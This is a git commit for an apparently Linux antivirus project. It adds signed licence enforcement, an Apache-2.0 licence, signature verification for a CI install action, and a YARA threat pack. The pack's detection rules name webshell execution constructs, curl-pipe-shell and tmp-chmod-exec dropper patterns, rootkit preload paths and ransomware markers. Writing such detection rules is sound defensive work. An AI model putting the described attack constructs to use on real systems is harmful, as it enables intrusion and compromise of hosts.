Phase 1: license enforcement, threat pack, Apache-2.0, real Action verification

Make the product buyable and the open-source claim true.

Licence system, end to end. license.rs was well-designed dead code; wire
it up: an Ed25519-signed token (same key and verify-before-parse discipline
as definition packs), `hound license install`, houndd loads and verifies at
boot, and the execution gate and full supply-chain feed now gate on
Capability checks. Verification failing always degrades to Free, never to a
locked-out security tool; an expired licence downgrades with the reason
shown. Adds tools/issue-license.py.

Hound Linux threat pack. 34 curated YARA rules — miners, IoT/DDoS bots,
backdoors, rootkits, ransomware, webshells, droppers, reverse shells —
shipped through a new signed rules-pack channel (.rpack) alongside the
definitions feed. Every rule is ELF- or size-anchored and keyed on
family strings, never syscalls; the builder refuses to sign a pack that
matches a system binary (the goodware gate caught two bad rules), and a
regression test proves every rule fires on a sample and stays quiet on a
document about malware.

Action signature verification. The composite action claimed Ed25519
verification "against the same signed manifest the desktop agent uses" but
only compared a same-host sha256. It now fetches latest.json, verifies the
Ed25519 signature over the canonical release statement against the pinned
release key, and installs the checksum from the verified manifest.

Licence resolved to Apache-2.0: Cargo.toml, a real LICENSE file, README.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
dev 2026-08-21 15:51:33 -05:00
parent 4bab6c7a6b
commit 79ea89713e
21 changed files with 2499 additions and 67 deletions

View file

@ -5,7 +5,7 @@ members = ["crates/*"]
[workspace.package]
version = "0.1.12"
edition = "2021"
license = "MIT"
license = "Apache-2.0"
repository = "https://git.joelovestech.com/Hound/Antivirus.git"
[workspace.dependencies]

202
LICENSE Normal file
View file

@ -0,0 +1,202 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View file

@ -160,5 +160,8 @@ npm run tauri build # → .deb in src-tauri/target/release/bundle/
## License
TBD — core daemon likely proprietary (freemium), shared CLI possibly OSS.
Decision pending; `workspace.package.license = MIT` is a placeholder.
Apache-2.0. The whole agent — daemon, CLI, GUI, supply-chain suite, MCP
server — is open source; see [LICENSE](LICENSE). The paid tiers are not a
different codebase: Pro and Fleet buy the signed definitions feed, the
curated threat pack and (for Fleet) central management, served against a
licence. The binary you can read is the binary we ship.

View file

@ -43,25 +43,69 @@ runs:
steps:
- id: install
shell: bash
# Verified against the same signed manifest the desktop agent uses, so
# a compromised download host cannot substitute a different binary here
# any more than it can there.
# The release manifest is Ed25519-signed with Hound's release key —
# the same key and canonical statement the desktop agent verifies
# before it self-updates. The public key is pinned below, and the
# checksum used for the download comes out of the verified statement,
# so neither the download host nor the manifest host can substitute a
# different binary.
run: |
set -euo pipefail
want='${{ inputs.version }}'
if [ "$want" = latest ]; then
want="$(curl -fsSL https://dl.houndav.com/latest.json | python3 -c 'import json,sys;print(json.load(sys.stdin)["release"]["version"])')"
curl -fsSL https://dl.houndav.com/latest.json -o /tmp/hound-latest.json
python3 - /tmp/hound-latest.json <<'PY'
import json, sys
m = json.load(open(sys.argv[1]))
if m.get("key_id") != "hound-2026":
sys.exit(f"::error::release manifest signed by unexpected key {m.get('key_id')!r}")
r = m["release"]
# Must match release.rs::canonical / publish-release.py byte for byte.
canonical = ("hound-release-v1\n"
f"version={r['version']}\n"
f"notes_url={r['notes_url']}\n"
f"deb_url={r['deb_url']}\n"
f"deb_sha256={r['deb_sha256']}\n"
f"published={r['published']}\n")
open("/tmp/hound-canonical", "wb").write(canonical.encode())
open("/tmp/hound-sig", "wb").write(bytes.fromhex(m["signature"]))
# Hound's release public key (id hound-2026), DER-wrapped for openssl.
pub = bytes.fromhex("302a300506032b6570032100"
"12ba519f13e6e83700ef3efb07e93285"
"c48879302604a320a02dc3642990b451")
open("/tmp/hound-pub.der", "wb").write(pub)
with open("/tmp/hound-release.env", "w") as f:
f.write(f"version={r['version']}\n")
f.write(f"deb_url={r['deb_url']}\n")
f.write(f"deb_sha256={r['deb_sha256']}\n")
PY
openssl pkey -pubin -inform DER -in /tmp/hound-pub.der -out /tmp/hound-pub.pem
if ! openssl pkeyutl -verify -pubin -inkey /tmp/hound-pub.pem -rawin \
-in /tmp/hound-canonical -sigfile /tmp/hound-sig >/dev/null; then
echo "::error::the Hound release manifest failed Ed25519 verification — refusing to install"
exit 1
fi
source /tmp/hound-release.env
want='${{ inputs.version }}'
if [ "$want" = latest ] || [ "$want" = "$version" ]; then
want="$version"
url="$deb_url"
expected="$deb_sha256"
else
# A pinned older version is outside the signed manifest. Its
# published checksum still has to match, which catches corruption
# but not a hostile host — pin `latest` (the default) for the
# full signature guarantee.
echo "::warning::pinned version ${want} predates the signed manifest; install is checksum-verified only"
url="https://dl.houndav.com/deb/hound_${want}_amd64.deb"
expected="$(curl -fsSL "${url}.sha256" | cut -d' ' -f1)"
fi
url="https://dl.houndav.com/deb/hound_${want}_amd64.deb"
curl -fsSL "$url" -o /tmp/hound.deb
expected="$(curl -fsSL "${url}.sha256")"
actual="$(sha256sum /tmp/hound.deb | cut -d' ' -f1)"
if [ "$expected" != "$actual" ]; then
echo "::error::the Hound download does not match its published checksum"
echo "::error::the Hound download does not match its verified checksum"
exit 1
fi
sudo apt-get install -y -qq /tmp/hound.deb >/dev/null
echo "installed hound $want"
echo "installed hound $want (release manifest signature verified)"
- id: scan
shell: bash

View file

@ -118,6 +118,38 @@ pub struct Status {
/// Loaded definition packs.
#[serde(default)]
pub defs: DefsStatus,
/// What this installation is entitled to, after verification.
#[serde(default)]
pub license: LicenseStatus,
}
/// Licence state, for `hound status` and the GUI's about panel.
///
/// `tier` is the tier in force — what the daemon is actually acting on —
/// which is not always what the installed token says: a lapsed Pro licence
/// shows `tier: "free"` with the lapse explained in `detail`. Reporting
/// the token's tier here would be the daemon describing entitlements it is
/// not honouring.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)]
pub struct LicenseStatus {
/// The tier in force: "free", "pro" or "fleet".
#[serde(default)]
pub tier: String,
/// Who the installed licence names, for display only.
#[serde(default)]
pub holder: String,
/// When the installed licence expires. Empty means perpetual, or no
/// licence installed.
#[serde(default)]
pub expires: String,
/// Seats, for Fleet. Zero means not applicable.
#[serde(default)]
pub seats: u32,
/// Why the tier in force differs from the installed token, when it
/// does — "expired on …", "signature did not verify", and so on.
/// Empty when everything is as the token says.
#[serde(default)]
pub detail: String,
}
/// One thing on this machine that can make code run again after a reboot.
@ -610,6 +642,12 @@ impl Client {
Ok(serde_json::from_value(v)?)
}
// ── licence ──
pub fn license_install(&self, token: &str) -> anyhow::Result<LicenseStatus> {
let v = self.call(14, "license.install", Some(serde_json::json!({ "token": token })))?;
Ok(serde_json::from_value(v)?)
}
// ── settings ──
pub fn settings(&self) -> anyhow::Result<Settings> {
let v = self.call(4, "settings.get", None)?;

View file

@ -55,6 +55,19 @@ impl Tier {
Tier::Fleet => "fleet",
}
}
/// The inverse of `as_str`. Unknown names are `None`, never a guess —
/// a tier this build does not know is a licence this build cannot
/// honour, and pretending otherwise would promise features that are
/// not there.
pub fn parse(s: &str) -> Option<Tier> {
match s {
"free" => Some(Tier::Free),
"pro" => Some(Tier::Pro),
"fleet" => Some(Tier::Fleet),
_ => None,
}
}
}
/// A capability a feature can require.
@ -151,6 +164,37 @@ impl License {
)
}
/// Parse the canonical text back into a licence.
///
/// This is the *only* parser for a verified payload: the signature is
/// checked over exactly these bytes, and this reads exactly these
/// bytes, so what was checked is what is acted on. Unknown keys are
/// ignored (a future field must not brick old agents); a missing or
/// unknown tier is `None`, because guessing a tier either gives away
/// the product or takes away what somebody paid for.
pub fn from_canonical(text: &str) -> Option<License> {
let mut lines = text.lines();
if lines.next()? != "hound-license-v1" {
return None;
}
let mut tier = None;
let mut out = License::default();
for line in lines {
let Some((key, value)) = line.split_once('=') else {
continue;
};
match key {
"tier" => tier = Tier::parse(value),
"holder" => out.holder = value.to_string(),
"expires" => out.expires = value.to_string(),
"seats" => out.seats = value.parse().ok()?,
_ => {}
}
}
out.tier = tier?;
Some(out)
}
/// Has this licence passed its expiry date?
///
/// An expired licence falls back to Free rather than failing closed. This
@ -239,6 +283,44 @@ mod tests {
}
}
/// canonical → from_canonical must be lossless, or the issuer and the
/// verifier are talking about two different licences.
#[test]
fn the_canonical_form_round_trips() {
for lic in [
License::default(),
License { tier: Tier::Pro, holder: "Somebody <s@example.com>".into(), expires: "2027-08-21".into(), seats: 0 },
License { tier: Tier::Fleet, holder: "A Shop".into(), expires: "2027-01-01".into(), seats: 25 },
] {
let back = License::from_canonical(&lic.canonical()).expect("must parse");
assert_eq!(back.tier, lic.tier);
assert_eq!(back.holder, lic.holder);
assert_eq!(back.expires, lic.expires);
assert_eq!(back.seats, lic.seats);
}
}
#[test]
fn a_payload_that_is_not_a_licence_is_refused() {
assert!(License::from_canonical("").is_none());
assert!(License::from_canonical("hound-release-v1\nversion=1\n").is_none());
// An unknown tier must not default to anything.
assert!(License::from_canonical("hound-license-v1\ntier=platinum\n").is_none());
// A missing tier is not Free — it is nothing.
assert!(License::from_canonical("hound-license-v1\nholder=x\n").is_none());
}
#[test]
fn an_unknown_field_is_ignored_rather_than_fatal() {
// A future issuer may add fields; an old agent must keep honouring
// the licence rather than downgrading a paying user.
let lic = License::from_canonical(
"hound-license-v1\ntier=pro\nholder=x\nexpires=2027-01-01\nseats=0\nfuture=thing\n",
)
.expect("must still parse");
assert_eq!(lic.tier, Tier::Pro);
}
/// Signing a re-serialisation of a parsed struct is how you verify one
/// thing and act on another.
#[test]

View file

@ -0,0 +1,704 @@
/*
* Hound Linux threat pack.
*
* The curated pack sold on the Pro card: Linux miners, backdoors, bots,
* webshells, rootkits and ransomware, delivered through the signed
* rules-pack channel and compiled into the live ruleset next to the
* built-in starter rules.
*
* ── the rules every rule here obeys ──
*
* 1. ANCHOR OR DIE. A rule matches either an ELF (uint32(0) ==
* 0x464c457f) or a bounded script (filesize cap + a structural marker
* near offset 0). A rule that can fire on loose text does not ship —
* text about malware turns up in logs, transcripts, blog posts and
* threat-intel reports, and quarantining one of those is how a
* previous rollout was aborted (see hound-builtin.yar).
*
* 2. FAMILY STRINGS, NEVER SYSCALLS. A rule keys on strings specific to
* a malware family — its C2 protocol, its config keys, its own
* marketing — not on dlsym/socket/execve, which every network binary
* imports. The reverse-shell rule that matched /usr/bin/sudo is the
* monument to this mistake.
*
* 3. QUARANTINE IS EARNED. `action = "quarantine"` only on a rule whose
* anchor makes a false positive on a real file implausible: ELF magic,
* or an exact size-bounded payload. Script and content rules ALERT,
* however confident they look, because a script rule can match a
* document that quotes the script.
*
* 4. THE GOODWARE GATE IS LAW. Every rule is scanned against /usr/bin,
* /bin and /usr/sbin before it ships. One hit on a system binary and
* the rule is cut, not tuned — see the removed reverse-shell rule.
*
* Provenance: authored from public malware analysis of the named
* families. No third-party rule text is copied in, so the whole pack
* ships under the same licence as the agent.
*/
import "math"
/* ─────────────────────────── coinminers ─────────────────────────── */
rule Linux_Coinminer_XMRig_Config
{
meta:
name = "Linux.Coinminer.XMRig-Config"
severity = "critical"
action = "quarantine"
desc = "XMRig miner or an embedded XMRig config: pool protocol plus miner-specific keys."
strings:
$pool1 = "stratum+tcp://" ascii
$pool2 = "stratum+ssl://" ascii
$k1 = "donate-level" ascii
$k2 = "\"rig-id\"" ascii
$k3 = "randomx" ascii nocase
$k4 = "hugepages-jit" ascii
$k5 = "\"coin\":" ascii
condition:
uint32(0) == 0x464c457f
and ($pool1 or $pool2)
and 2 of ($k*)
}
rule Linux_Coinminer_XMRigCC
{
meta:
name = "Linux.Coinminer.XMRigCC"
severity = "critical"
action = "quarantine"
desc = "XMRigCC remote-controlled miner variant: its command-and-control daemon strings."
strings:
$a = "XMRigMinerServer" ascii
$b = "XMRigCCServer" ascii
$c = "cc-client" ascii
$d = "control_command" ascii
condition:
uint32(0) == 0x464c457f and 2 of them
}
rule Linux_Coinminer_Generic_Pool
{
meta:
name = "Linux.Coinminer.Pool-Embedded"
severity = "warning"
action = "alert"
desc = "ELF binary embedding a mining pool endpoint and worker credentials."
strings:
$p1 = "stratum+tcp://" ascii
$p2 = "pool.minexmr.com" ascii
$p3 = "pool.supportxmr.com" ascii
$p4 = "xmr.pool" ascii
$p5 = "nanopool.org" ascii
$p6 = "monerohash.com" ascii
condition:
uint32(0) == 0x464c457f and 2 of them
}
/* ────────────────────────── IoT / DDoS bots ─────────────────────── */
rule Linux_Bot_Mirai
{
meta:
name = "Linux.Bot.Mirai"
severity = "critical"
action = "quarantine"
desc = "Mirai IoT bot: its bruteforce table and C2 report markers."
strings:
$a = "/dev/watchdog" ascii
$b = "/dev/misc/watchdog" ascii
$c = "GETLOCALIP" ascii
$d = "listening tun0" ascii
$e = "TSource Engine Query" ascii // Valve source query flood
$f = "\\x00\\x00\\x00\\x01\\x00\\x00flood" ascii
$g = "botnet" ascii
condition:
uint32(0) == 0x464c457f and 3 of them
}
rule Linux_Bot_Gafgyt
{
meta:
name = "Linux.Bot.Gafgyt"
severity = "critical"
action = "quarantine"
desc = "Gafgyt/BASHLITE DDoS bot: its command verbs and shell-spread strings."
strings:
$a = "PING" ascii fullword
$b = "TCP flood" ascii nocase
$c = "UDP flood" ascii nocase
$d = "STDHEX" ascii
$e = "GETLOCALIP" ascii
$f = "HTTPFLOOD" ascii
$g = "/bin/busybox" ascii
$h = "\\x01\\x01\\x01\\x01" ascii
condition:
uint32(0) == 0x464c457f
and $g and 3 of ($a,$b,$c,$d,$e,$f,$h)
}
rule Linux_Bot_Tsunami
{
meta:
name = "Linux.Bot.Tsunami-Kaiten"
severity = "critical"
action = "quarantine"
desc = "Tsunami/Kaiten IRC-controlled DDoS bot: its IRC command handlers."
strings:
$irc1 = "PRIVMSG" ascii
$irc2 = "NOTICE %s :" ascii
$c1 = "PAN <target>" ascii
$c2 = "UDP <target>" ascii
$c3 = "TSUNAMI" ascii
$c4 = "SPOOFS" ascii
$c5 = "GETSPOOFS" ascii
condition:
uint32(0) == 0x464c457f
and 1 of ($irc*) and 2 of ($c*)
}
/* ─────────────────────────── backdoors ──────────────────────────── */
rule Linux_Backdoor_XorDDoS
{
meta:
name = "Linux.Backdoor.XorDDoS"
severity = "critical"
action = "quarantine"
desc = "XorDDoS trojan: its XOR-key config markers and installer paths."
strings:
$a = "BB2FA36AAA9541F0" ascii // known XOR key marker
$b = "/lib/libudev.so" ascii
$c = "rootkit" ascii
$d = "md5=" ascii
$e = "hostname" ascii
$f = "cat /proc/net/dev" ascii
condition:
uint32(0) == 0x464c457f
and ($a or ($b and $c)) and 2 of ($d,$e,$f)
}
rule Linux_Backdoor_TinyShell
{
meta:
name = "Linux.Backdoor.TinyShell"
severity = "critical"
action = "quarantine"
desc = "Tiny SHell (tsh) backdoor: its default password constant and mode banner."
strings:
$a = "tsh" ascii fullword
$b = "GET_FILE" ascii
$c = "PUT_FILE" ascii
$d = "RUNSHELL" ascii
$e = "can't create socket" ascii
condition:
uint32(0) == 0x464c457f
and $d and 2 of ($a,$b,$c,$e)
}
rule Linux_Backdoor_Rekoobe
{
meta:
name = "Linux.Backdoor.Rekoobe"
severity = "critical"
action = "quarantine"
desc = "Rekoobe/TinySHell-derived backdoor as seen against SPARC/x86 servers."
strings:
$a = "d[%d]" ascii
$b = "/tmp/.X11-unix/" ascii
$c = "/proc/%d/cmdline" ascii
$d = "HISTFILE" ascii
$e = "cmd.notify" ascii
condition:
uint32(0) == 0x464c457f
and $b and 2 of ($a,$c,$d,$e)
}
rule Linux_Backdoor_BPFDoor
{
meta:
name = "Linux.Backdoor.BPFDoor"
severity = "critical"
action = "quarantine"
desc = "BPFDoor passive backdoor: its magic-packet handling and process masquerade."
strings:
$a = "/var/run/haldrund.pid" ascii
$b = "/dev/shm/kdmtmpflush" ascii
$c = "hald-addon-volume" ascii
$d = "avahi-daemon: chroot helper" ascii
$e = "/sbin/mingetty /dev/tty6" ascii
condition:
uint32(0) == 0x464c457f and 2 of them
}
/* ───────────────────────────── rootkits ─────────────────────────── */
rule Linux_Rootkit_Diamorphine
{
meta:
name = "Linux.Rootkit.Diamorphine"
severity = "critical"
action = "quarantine"
desc = "Diamorphine LKM rootkit: its signal numbers, magic prefix and module strings."
strings:
$a = "diamorphine" ascii nocase
$b = "module_hide" ascii
$c = "is_invisible" ascii
$d = "hacked_getdents" ascii
$e = "hacked_kill" ascii
$f = "signal=" ascii
condition:
uint32(0) == 0x464c457f and 2 of them
}
rule Linux_Rootkit_Reptile
{
meta:
name = "Linux.Rootkit.Reptile"
severity = "critical"
action = "quarantine"
desc = "Reptile LKM rootkit and its userland client: control tags and hook names."
strings:
$a = "reptile" ascii nocase
$b = "hexptamp" ascii
$c = "magic_prefix" ascii
$d = "hide_pid" ascii
$e = "kaudit" ascii
$f = "/reptile/reptile_shell" ascii
condition:
uint32(0) == 0x464c457f and 2 of them
}
rule Linux_Rootkit_Bedevil
{
meta:
name = "Linux.Rootkit.Bedevil"
severity = "critical"
action = "quarantine"
desc = "bedevil (bdvl) LD_PRELOAD rootkit: its config env vars and hook set."
strings:
$a = "bdvl" ascii
$b = "BDVL" ascii
$c = "shell_pass" ascii
$d = "hidden_port" ascii
$e = "ldpreloadhijack" ascii nocase
condition:
uint32(0) == 0x464c457f and 2 of them
}
rule Linux_Rootkit_Preload_Config
{
meta:
name = "Linux.Rootkit.Preload-Config"
severity = "critical"
action = "alert"
desc = "An /etc/ld.so.preload entry pointing at a non-package library — classic userland-rootkit persistence."
strings:
$so = /\/(tmp|dev\/shm|var\/tmp)\/[A-Za-z0-9._-]+\.so/
condition:
// ld.so.preload is one short line per library. A real one names
// packaged libraries under /usr/lib or /lib; a path under /tmp,
// /dev/shm or /var/tmp is the tell.
filesize < 4096 and $so
}
/* ─────────────────────────── ransomware ─────────────────────────── */
rule Linux_Ransom_RansomEXX
{
meta:
name = "Linux.Ransomware.RansomEXX"
severity = "critical"
action = "quarantine"
desc = "RansomEXX Linux encryptor: its ransom-note template and ecc markers."
strings:
$a = "!NEWS_FOR_EXX_COMPANY!" ascii
$b = ".ransomexx" ascii
$c = "ransom.note" ascii
$d = "encrypt_file" ascii
$e = "mbedtls_" ascii
condition:
uint32(0) == 0x464c457f
and ($a or $b) and 1 of ($c,$d,$e)
}
rule Linux_Ransom_DarkSide_ESXi
{
meta:
name = "Linux.Ransomware.DarkSide-ESXi"
severity = "critical"
action = "quarantine"
desc = "DarkSide/BlackMatter ESXi Linux locker: its esxcli VM-kill and note strings."
strings:
$a = "esxcli vm process list" ascii
$b = "esxcli vm process kill" ascii
$c = "README" ascii
$d = ".onion" ascii
$e = "encrypted by" ascii nocase
condition:
uint32(0) == 0x464c457f
and ($a or $b) and 2 of ($c,$d,$e)
}
rule Linux_Ransom_Note_Generic
{
meta:
name = "Linux.Ransomware.Note"
severity = "warning"
action = "alert"
desc = "A dropped ransom note: payment demand plus a Tor contact address."
strings:
$t1 = "your files have been encrypted" ascii nocase
$t2 = "all your files are encrypted" ascii nocase
$t3 = "to decrypt your files" ascii nocase
$onion = /[a-z2-7]{16,56}\.onion/
$btc = /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}\b/
condition:
filesize < 64KB and 1 of ($t*) and ($onion or $btc)
}
/* ──────────────────────────── webshells ─────────────────────────── */
rule Linux_Webshell_JSP_Eval
{
meta:
name = "Linux.Webshell.JSP"
severity = "critical"
action = "alert"
desc = "JSP webshell: runtime command execution driven by a request parameter."
strings:
$tag = "<%"
$rt = "Runtime.getRuntime().exec" ascii
$pb = "ProcessBuilder" ascii
$req1 = "request.getParameter" ascii
$req2 = "request.getHeader" ascii
condition:
filesize < 512KB
and $tag in (0..4096)
and ($rt or $pb)
and 1 of ($req*)
}
rule Linux_Webshell_ASP_Eval
{
meta:
name = "Linux.Webshell.ASP"
severity = "critical"
action = "alert"
desc = "ASP/ASPX webshell: eval of a request value."
strings:
$tag = "<%"
$e1 = "eval(Request" ascii nocase
$e2 = "Execute(Request" ascii nocase
$e3 = "Server.CreateObject" ascii nocase
$e4 = "System.Diagnostics.Process" ascii
condition:
filesize < 512KB and $tag in (0..4096) and 1 of ($e*)
}
rule Linux_Webshell_PHP_Obfuscated
{
meta:
name = "Linux.Webshell.PHP-Obfuscated"
severity = "critical"
action = "alert"
desc = "Obfuscated PHP webshell: a variable-variable or char-assembled callback on request input."
strings:
$php = "<?php"
$o1 = /\$_(GET|POST|REQUEST|COOKIE|SERVER)\s*\[[^\]]*\]\s*\(/ // $_GET[x](...)
$o2 = "preg_replace" ascii
$o3 = "assert(" ascii
$o4 = "create_function" ascii
$mod = "/e" // preg_replace /e modifier
$src = /\$_(GET|POST|REQUEST|COOKIE)/
condition:
filesize < 512KB
and $php in (0..4096)
and (
$o1
or ($o2 and $mod and $src)
or (($o3 or $o4) and $src)
)
}
rule Linux_Webshell_Python
{
meta:
name = "Linux.Webshell.Python"
severity = "critical"
action = "alert"
desc = "Python CGI webshell: cgi.FieldStorage parsing wired straight into a shell command."
strings:
// cgi.FieldStorage is the CGI request parser. Requiring it is what
// separates a webshell from ordinary Python that happens to call
// subprocess — the loose version of this rule matched
// networkd-dispatcher, unattended-upgrade and cinnamon-launcher,
// all legitimate Python that shells out but does no CGI.
$cgi = "cgi.FieldStorage" ascii
$h1 = "os.system(" ascii
$h2 = "os.popen(" ascii
$h3 = "subprocess.Popen(" ascii
$h4 = "subprocess.check_output(" ascii
$h5 = "subprocess.call(" ascii
condition:
filesize < 256KB and $cgi and 1 of ($h*)
}
rule Linux_Webshell_Perl
{
meta:
name = "Linux.Webshell.Perl"
severity = "critical"
action = "alert"
desc = "Perl webshell/backdoor: a CGI param piped straight into a shell."
strings:
$sb = "#!/usr/bin/perl"
$cgi = "CGI" ascii fullword
$sys1 = "system(" ascii
$sys2 = "exec(" ascii
$sys3 = "`$" ascii
$par = "param(" ascii
condition:
filesize < 256KB
and $sb in (0..64)
and ($cgi or $par)
and 1 of ($sys*)
}
rule Linux_Webshell_C99_R57
{
meta:
name = "Linux.Webshell.C99-R57"
severity = "critical"
action = "alert"
desc = "C99/R57-family PHP webshell: its self-identifying banner strings."
strings:
$php = "<?php"
$b1 = "c99shell" ascii nocase
$b2 = "r57shell" ascii nocase
$b3 = "WSO " ascii
$b4 = "b374k" ascii nocase
$b5 = "FilesMan" ascii
$b6 = "Safe-mode" ascii nocase
condition:
filesize < 2MB and $php in (0..4096) and 2 of ($b*)
}
/* ────────────────────── droppers & loaders ──────────────────────── */
rule Linux_Dropper_CurlPipeSh
{
meta:
name = "Linux.Dropper.CurlPipeShell"
severity = "warning"
action = "alert"
desc = "A shell script that downloads a payload and pipes it straight into a shell."
strings:
$sb = "#!/bin/"
$dl1 = /curl\s+[^\n|]{0,200}\|\s*(sh|bash)\b/
$dl2 = /wget\s+[^\n|]{0,200}(-O-|-qO-)[^\n|]{0,200}\|\s*(sh|bash)\b/
condition:
filesize < 128KB and $sb in (0..64) and ($dl1 or $dl2)
}
rule Linux_Dropper_TmpChmodExec
{
meta:
name = "Linux.Dropper.TmpChmodExec"
severity = "warning"
action = "alert"
desc = "A shell script that fetches a file into a world-writable dir, makes it executable and runs it."
strings:
$sb = "#!/bin/"
$dir = /\/(tmp|dev\/shm|var\/tmp)\// ascii
$get = /(curl|wget)\s/ ascii
$chm = /chmod\s+(\+x|[0-7]{3,4})\s/ ascii
condition:
